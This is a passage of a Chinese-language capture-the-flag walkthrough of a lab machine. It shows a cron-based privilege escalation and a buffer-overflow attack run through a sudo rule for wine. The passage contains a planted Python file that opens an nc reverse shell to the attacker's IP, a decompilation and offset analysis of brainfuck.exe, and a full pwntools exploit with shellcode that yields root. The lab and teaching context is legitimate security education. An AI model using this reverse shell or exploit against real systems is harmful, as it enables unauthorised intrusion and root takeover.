/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
low@debian:/$ cat /etc/cron*
cat /etc/cron*
cat: /etc/cron.d: Es un directorio
cat: /etc/cron.daily: Es un directorio
cat: /etc/cron.hourly: Es un directorio
cat: /etc/cron.monthly: Es un directorio
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don&amp;#39;t have to run the `crontab&amp;#39;
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
*/1 *   * * *   debian /usr/bin/python3 /home/debian/Documentos/backup/dissapeared.py ; echo &amp;quot;Done&amp;quot; &amp;gt;&amp;gt; /home/debian/Documentos/log 
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
#
cat: /etc/cron.weekly: Es un directorio

low@debian:/home/debian/Documentos$ ls -al
ls -al
total 12
drwxrwx---  2 debian low    4096 may  7  2021 .
drwxr-xr-x 15 debian debian 4096 may  8  2021 ..
-rw-r--r--  1 debian debian  460 ene 12 13:36 log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现该目录咱们这个&lt;code&gt;low&lt;/code&gt;用户可写，尝试写一个&lt;code&gt;backup/dissapeared.py&lt;/code&gt;进去：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;low@debian:/home/debian/Documentos$ mkdir backup
low@debian:/home/debian/Documentos$ chmod 777 backup
low@debian:/home/debian/Documentos$ cd backup/
low@debian:/home/debian/Documentos/backup$ echo &amp;quot;import os;os.system(&amp;#39;nc -e /bin/bash 192.168.0.106 1234&amp;#39;)&amp;quot; &amp;gt; dissapeared.py
low@debian:/home/debian/Documentos/backup$ chmod +x dissapeared.py
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 1234
listening on [any] 1234 ...
192.168.0.102: inverse host lookup failed: Unknown host
connect to [192.168.0.106] from (UNKNOWN) [192.168.0.102] 47150
id
uid=1000(debian) gid=1000(debian) grupos=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),114(lpadmin),115(scanner)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;h3&gt;升级tty&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;sudo -l&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;debian@debian:/$ sudo -l
sudo -l
Matching Defaults entries for debian on debian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User debian may run the following commands on debian:
    (ALL : root) NOPASSWD: /bin/wine
        /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 允许普通用户以 root 身份运行 Wine 来执行一个“存在缓冲区溢出漏洞”的程序  &lt;/p&gt;
&lt;h4&gt;① brainfuck.exe 是什么？&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Windows 程序&lt;/li&gt;
&lt;li&gt;明确标注 &lt;strong&gt;Buffer Overflow Vulnerable&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;说明存在 &lt;strong&gt;内存破坏类漏洞&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;② wine 在 sudo 下是 root&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;wine 进程 = root&lt;/li&gt;
&lt;li&gt;wine 加载的 exe = &lt;strong&gt;root 权限上下文&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;③ 缓冲区溢出意味着什么？&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;覆盖返回地址 / 函数指针&lt;/li&gt;
&lt;li&gt;控制程序执行流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行任意代码&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;④ 任意代码在谁的权限下执行？&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;👉 &lt;strong&gt;root&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;brainfuck.exe&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;debian@debian:/$ file /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe
file /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe
/opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;debian@debian:/opt/Buffer-Overflow-Vulnerable-app$ ls -al
ls -al
total 9240
drwxr-xr-x  6 debian debian    4096 may  7  2021 .
drwxr-xr-x  3 root   root      4096 may  7  2021 ..
-rw-r--r--  1 debian debian   21190 may  7  2021 brainfuck.exe
-rw-r--r--  1 debian debian   21190 may  7  2021 brainpan.exe
-rw-r--r--  1 debian debian   13312 may  7  2021 dostackbufferoverflowgood.exe
drwxr-xr-x  8 debian debian    4096 may  7  2021 .git
drwxr-xr-x 54 debian debian    4096 may  7  2021 node_modules
-rw-r--r--  1 debian debian      60 may  7  2021 NOTE.txt
drwxr-xr-x  2 debian debian    4096 may  7  2021 oscp
-rw-r--r--  1 debian debian   14740 may  7  2021 package-lock.json
-rw-r--r--  1 debian debian     277 may  7  2021 README.md
-rw-r--r--  1 debian debian 9266237 may  7  2021 SLMail.exe
-rw-r--r--  1 debian debian   76152 may  7  2021 vcruntime140.dll
drwxr-xr-x  2 debian debian    4096 may  7  2021 vulnserver
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;pwn环境搭建&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 -m venv pwn  
source ./pwn/bin/activate 
┌──(pwn)─(root㉿kali)-[/home/kali/Desktop/tools/pwndbg]
└─# python3 -m pip install --upgrade pwntools -i https://pypi.doubanio.com/simple

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

┌──(pwn)─(root㉿kali)-[/home/kali/Desktop/tools/pwndbg]
└─# gdb                                                                          
GNU gdb (Debian 17.1-1) 17.1
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type &amp;quot;show copying&amp;quot; and &amp;quot;show warranty&amp;quot; for details.
This GDB was configured as &amp;quot;x86_64-linux-gnu&amp;quot;.
Type &amp;quot;show configuration&amp;quot; for configuration details.
For bug reporting instructions, please see:
&amp;lt;https://www.gnu.org/software/gdb/bugs/&amp;gt;.
Find the GDB manual and other documentation resources online at:
    &amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.

For help, type &amp;quot;help&amp;quot;.
Type &amp;quot;apropos word&amp;quot; to search for commands related to &amp;quot;word&amp;quot;.
pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
------- tip of the day (disable with set show-tips off) -------
Want to NOP some instructions? Use patch &amp;lt;address&amp;gt; &amp;#39;nop; nop; nop&amp;#39;
pwndbg&amp;gt; 

┌──(pwn)─(root㉿kali)-[/home/kali/Desktop/tools/pwndbg]
└─# sudo apt install ghidra -y

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;栈溢出漏洞&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo -u root /bin/wine /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# nc 192.168.0.102 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          &amp;gt;&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(pwn)─(root㉿kali)-[/home/kali/Desktop/tools/pwndbg]
└─# ghidra

//将项目拖入进行反编译

/* WARNING: Removing unreachable block (ram,0x311716c5) */

int __cdecl _main(int _Argc,char **_Argv,char **_Env)

{
  int iVar1;
  size_t in_stack_fffff9f0;
  sockaddr local_5dc;
  sockaddr local_5cc;
  SOCKET local_5b4;
  SOCKET local_5b0;
  WSADATA local_5ac;
  int local_414;
  int local_410;
  int local_40c;
  char *local_408;
  char *local_404;
  char *local_400;
  char local_3fc [1016];
  
  __alloca(in_stack_fffff9f0);
  ___main();
  local_400 = 
  &amp;quot;_|                            _|                                        \n_|_|_|    _|  _|_|    _ |_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  \n_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|\n_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _ |\n_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|\n                                            _|                          \n                                            _ |\n\n[________________________ WELCOME TO BRAINPAN _________________________]\n                          ENTER THE PASSWORD                              \n\n                          &amp;gt;&amp;gt; &amp;quot;
  ;
  local_404 = &amp;quot;                          ACCESS DENIED\n&amp;quot;;
  local_408 = &amp;quot;                          ACCESS GRANTED\n&amp;quot;;
  local_410 = 9999;
  local_414 = 1;
  printf(&amp;quot;[+] initializing winsock...&amp;quot;);
  iVar1 = _WSAStartup@8(0x202,&amp;amp;local_5ac);
  if (iVar1 == 0) {
    printf(&amp;quot;done.\n&amp;quot;);
    local_5b0 = socket(2,1,0);
    if (local_5b0 == 0xffffffff) {
      iVar1 = _WSAGetLastError@0();
      printf(&amp;quot;[!] could not create socket: %d&amp;quot;,iVar1);
    }
    printf(&amp;quot;[+] server socket created.\n&amp;quot;);
    local_5cc.sa_family = 2;
    local_5cc.sa_data[2] = &amp;#39;\0&amp;#39;;
    local_5cc.sa_data[3] = &amp;#39;\0&amp;#39;;
    local_5cc.sa_data[4] = &amp;#39;\0&amp;#39;;
    local_5cc.sa_data[5] = &amp;#39;\0&amp;#39;;
    local_5cc.sa_data._0_2_ = htons(9999);
    iVar1 = bind(local_5b0,&amp;amp;local_5cc,0x10);
    if (iVar1 == -1) {
      iVar1 = _WSAGetLastError@0();
      printf(&amp;quot;[!] bind failed: %d&amp;quot;,iVar1);
    }
    printf(&amp;quot;[+] bind done on port %d\n&amp;quot;,local_410);
    listen(local_5b0,3);
    printf(&amp;quot;[+] waiting for connections.\n&amp;quot;);
    local_40c = 0x10;
    while (local_5b4 = accept(local_5b0,&amp;amp;local_5dc,&amp;amp;local_40c), local_5b4 != 0xffffffff) {
      printf(&amp;quot;[+] received connection.\n&amp;quot;);
      memset(local_3fc,0,1000);
      iVar1 = strlen(local_400);
      send(local_5b4,local_400,iVar1,0);
      recv(local_5b4,local_3fc,1000,0);
      local_414 = get_reply(local_3fc);
      printf(&amp;quot;[+] check is %d\n&amp;quot;,local_414);
      iVar1 = get_reply(local_3fc);
      if (iVar1 == 0) {
        iVar1 = strlen(local_404);
        send(local_5b4,local_408,iVar1,0);
      }
      else {
        iVar1 = strlen(local_408);
        send(local_5b4,local_404,iVar1,0);
      }
      closesocket(local_5b4);
    }
    iVar1 = _WSAGetLastError@0();
    printf(&amp;quot;[!] accept failed: %d&amp;quot;,iVar1);
  }
  else {
    iVar1 = _WSAGetLastError@0();
    printf(&amp;quot;[!] winsock init failed: %d&amp;quot;,iVar1);
  }
  return 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;void get_reply(char *param_1)
{
    printf(&amp;quot;[get_reply] s = [%s]\n&amp;quot;, param_1);
    strcpy(local_buffer, param_1);          // ⚠️ 栈溢出漏洞！
    param1 = strlen(local_buffer);
    printf(&amp;quot;[get_reply] copied %d bytes to buffer\n&amp;quot;, param1);
    strcmp(local_buffer, &amp;quot;shitstorm\n&amp;quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strcpy()&lt;/code&gt; 无长度检查&lt;/li&gt;
&lt;li&gt;&lt;code&gt;recv()&lt;/code&gt; 接收最多1000字节&lt;/li&gt;
&lt;li&gt;&lt;code&gt;local_buffer&lt;/code&gt; 是栈上的局部变量&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;一、从反编译代码开始（这是唯一正确的起点）&lt;/h3&gt;
&lt;p&gt;你给的 &lt;code&gt;get_reply&lt;/code&gt; 反编译结果是&lt;strong&gt;完全正确的&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;int __cdecl get_reply(char *Source)
{
  size_t v1; // eax
  char Dest; // [esp+10h] [ebp-208h]

  printf(&amp;quot;[get_reply] s = [%s]\n&amp;quot;, Source);
  strcpy(&amp;amp;Dest, Source);
  v1 = strlen(&amp;amp;Dest);
  printf(&amp;quot;[get_reply] copied %d bytes to buffer\n&amp;quot;, v1);
  return strcmp(&amp;amp;Dest, &amp;quot;shitstorm\n&amp;quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我们只看三行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;char Dest;                 // 栈上缓冲区
strcpy(&amp;amp;Dest, Source);     // 无长度检查
return strcmp(&amp;amp;Dest, ...); // 之后还会返回
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论 1（&lt;strong&gt;漏洞定性&lt;/strong&gt;）：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这是一个标准的栈溢出函数，利用点 100% 成立&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这一点你没有任何问题。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;二、Dest 到底有多大？（这是 offset 的数学来源）&lt;/h3&gt;
&lt;p&gt;关键是这一行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;char Dest; // [ebp-208h]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这句话不是“一个 char”，而是 &lt;strong&gt;一个以 &lt;strong&gt;&lt;code&gt;**ebp-0x208**&lt;/code&gt;&lt;/strong&gt; 为起始的缓冲区&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;结合函数栈结构：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;高地址
[ RET ]        &amp;lt;- EIP
[ saved EBP ]
[ Dest buffer ]  &amp;lt;- 从 ebp-0x208 开始
低地址
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;关键计算（这是整个 exp 的“根”）：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Dest 起始地址：&lt;code&gt;EBP - 0x208&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;返回地址 RET：&lt;code&gt;EBP + 4&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以 &lt;strong&gt;从 Dest 到 RET 的字节数是&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(EBP + 4) - (EBP - 0x208)
= 0x208 + 4
= 0x20C
= 524 字节
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论 2（&lt;strong&gt;offset 精确来源&lt;/strong&gt;）：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;覆盖 RET 需要 524 字节 junk&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是你写的：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;junk = b&amp;#39;a&amp;#39; * 524
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不是猜的，不是试的，是&lt;strong&gt;栈布局直接算出来的&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;三、为什么 strcpy 一定能覆盖到 RET？&lt;/h3&gt;
&lt;p&gt;因为：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;recv(sock, buf, 1000, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而 &lt;code&gt;Dest&lt;/code&gt; 只有：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;0x208 = 520 字节
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;recv&lt;/code&gt; 允许你送 1000 字节，&lt;code&gt;strcpy&lt;/code&gt; 不检查长度：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;你至少可以覆盖到：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;buffer&lt;/li&gt;
&lt;li&gt;saved EBP&lt;/li&gt;
&lt;li&gt;RET&lt;/li&gt;
&lt;li&gt;RET 后的栈内容&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论 3（&lt;strong&gt;利用可达性&lt;/strong&gt;）：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EIP 可控是必然的，不是可能&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;四、ret_addr 是怎么“合法”找出来的？&lt;/h3&gt;
&lt;p&gt;你做了两次交叉验证，这一步是&lt;strong&gt;教科书级别正确&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;1️⃣ ropper 搜索&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ropper --file brainfuck.exe --search &amp;#39;jmp esp&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;0x311712f3: jmp esp;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2️⃣ objdump 再确认一次&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;objdump -D brainfuck.exe | grep jmp | grep esp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;311712f3: ff e4  jmp *%esp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论 4（&lt;strong&gt;控制流接管点&lt;/strong&gt;）：&lt;/p&gt;
&lt;p&gt;**0x311712f3 是一个真实存在、可执行、无歧义的 **&lt;code&gt;**jmp esp**&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这一步没有任何问题。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;五、为什么 payload 结构必须是这样？&lt;/h3&gt;
&lt;p&gt;你最终的 payload 是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;payload = junk + ret_addr + shellcode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们按 CPU 执行顺序解释：&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;① &lt;code&gt;junk = &amp;#39;a&amp;#39; * 524&lt;/code&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;覆盖 &lt;code&gt;Dest&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;覆盖 saved EBP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;正好覆盖到 RET 前一字节&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;② &lt;code&gt;ret_addr = 0x311712f3&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;RET 被覆盖后，函数 &lt;code&gt;ret&lt;/code&gt; 等价于：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;EIP = 0x311712f3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而这条指令是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;jmp esp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4&gt;③ &lt;code&gt;jmp esp&lt;/code&gt; 跳到哪里？&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;此时 ESP 指向哪里？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;就在：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;RET 后面的内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;shellcode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论 5（&lt;strong&gt;执行流闭环&lt;/strong&gt;）：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RET → jmp esp → shellcode&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;控制流是完全闭合的，没有缺口&lt;/p&gt;
&lt;h1&gt;Exp&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;from pwn import *

context.update(os=&amp;#39;linux&amp;#39;, arch=&amp;#39;i386&amp;#39;)
target_ip = &amp;#39;192.168.10.102&amp;#39;
target_port = 9999

junk = b&amp;#39;a&amp;#39; * 524
ret_addr = p32(0x311712f3)
# execve(&amp;quot;/bin/sh&amp;quot;) shellcode（32位）
shellcode = asm(shellcraft.sh())

payload = junk + ret_addr + shellcode

try:
    conn = remote(target_ip, target_port)
    conn.recvuntil(b&amp;#39;&amp;gt;&amp;gt;&amp;#39;)
    
    # 发送 Payload
    conn.send(payload)
    log.info(f&amp;quot;[+] Exploit!!!!!&amp;quot;)
    conn.interactive()
   
except Exception as e:
    log.error(f&amp;quot;[-] Exploit failed: {e}&amp;quot;)
finally:
    conn.close()                      
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cat root.txt
BoFsavetheworld
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;补充知识&lt;/h1&gt;
&lt;h2&gt;1️⃣ 寄存器 = CPU 自己口袋里的变量&lt;/h2&gt;
&lt;p&gt;寄存器是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;极小&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;极快&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数量很少&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 32 位 x86 里，你现在只需要认识这几个：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;寄存器&lt;/th&gt;
&lt;th&gt;作用（人话）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EIP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;下一条要执行的指令地址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ESP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;栈顶在哪里&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EBP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;当前函数的“参考点”&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EAX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;临时变量 / 返回值&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;👉 &lt;strong&gt;你现在只要记住前三个&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2️⃣ 最重要的一个寄存器：EIP&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;EIP 决定“程序下一步去哪”&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EIP = 0x1234&lt;br&gt;→ CPU 去 0x1234 执行指令&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以在 pwn 里一句话就是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;谁能控制 EIP，谁就能控制程序&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第三层：什么是栈？（不讲内存模型）&lt;/h2&gt;
&lt;h3&gt;1️⃣ 栈是“函数用的草稿纸”&lt;/h3&gt;
&lt;p&gt;当函数被调用时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;会在栈上放：&lt;ul&gt;
&lt;li&gt;局部变量&lt;/li&gt;
&lt;li&gt;返回地址&lt;/li&gt;
&lt;li&gt;一些临时数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你可以把栈画成一列盒子：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;高地址
┌──────────┐
│ 返回地址 │ ← EIP 从这里来
├──────────┤
│ 旧 EBP   │
├──────────┤
│ 局部变量 │ ← strcpy 写的地方
└──────────┘
低地址
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;2️⃣ ESP 和 EBP 是干嘛的？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ESP&lt;/strong&gt;：指向“最上面的盒子”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EBP&lt;/strong&gt;：指向“这一摞盒子的固定参考点”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;EBP 的作用一句话：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“让我能找到自己的局部变量和返回地址”&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第四层：函数返回发生了什么？（超级关键）&lt;/h2&gt;
&lt;p&gt;当一个函数结束时，会执行两步：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;leave
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你现在不用记指令，只记效果：&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ret&lt;/code&gt; 干了什么？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;从栈里取一个 4 字节地址，放进 EIP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;EIP = *(ESP)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;💥 这就是漏洞利用的入口。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第五层：什么是“栈溢出”？&lt;/h2&gt;
&lt;p&gt;你看这行代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;strcpy(Dest, Source);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;人话翻译：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不停地把 Source 的内容复制到 Dest，直到遇到 \0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;但 Dest 在栈上，大小是有限的。&lt;/p&gt;
&lt;p&gt;如果 Source 太长：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Dest 的空间 → 写完了
继续写 → 覆盖旧 EBP
继续写 → 覆盖返回地址（RET）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ 一旦返回地址被覆盖：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ret 取到的是“你写进去的东西”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;于是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;你控制了 EIP&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;我们用一句话串起来：&lt;/p&gt;
